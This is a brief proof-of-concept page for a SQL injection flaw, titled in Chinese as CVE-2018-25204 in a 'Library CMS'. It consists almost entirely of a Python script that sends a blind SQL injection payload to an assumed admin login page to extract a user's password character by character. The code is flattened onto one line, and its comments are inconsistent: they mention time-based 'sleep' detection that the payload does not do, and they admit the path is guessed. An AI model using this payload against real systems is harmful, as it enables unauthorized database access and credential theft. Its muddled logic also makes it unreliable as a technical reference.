CVE-2018-25204 Library CMS SQL注入漏洞

import requests def check_sqli(url): # Target login endpoint login_url = f"{url}/admin/login.php" # Assuming path based on common CMS structures # Payload for boolean-based blind SQL injection # This payload attempts to verify if the database sleeps or returns a different response payload = "admin' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a'#" data = { "username": payload, "password": "random" } try: response = requests.post(login_url, data=data, timeout=5) # Analysis logic depends on application behavior (e.g., response time or content) print(f"Status Code: {response.status_code}") print(f"Response Length: {len(response.text)}") # In a real exploit, logic would compare this to a baseline request except Exception as e: print(f"Error connecting to target: {e}") # Example usage # check_sqli("http://127.0.0.1")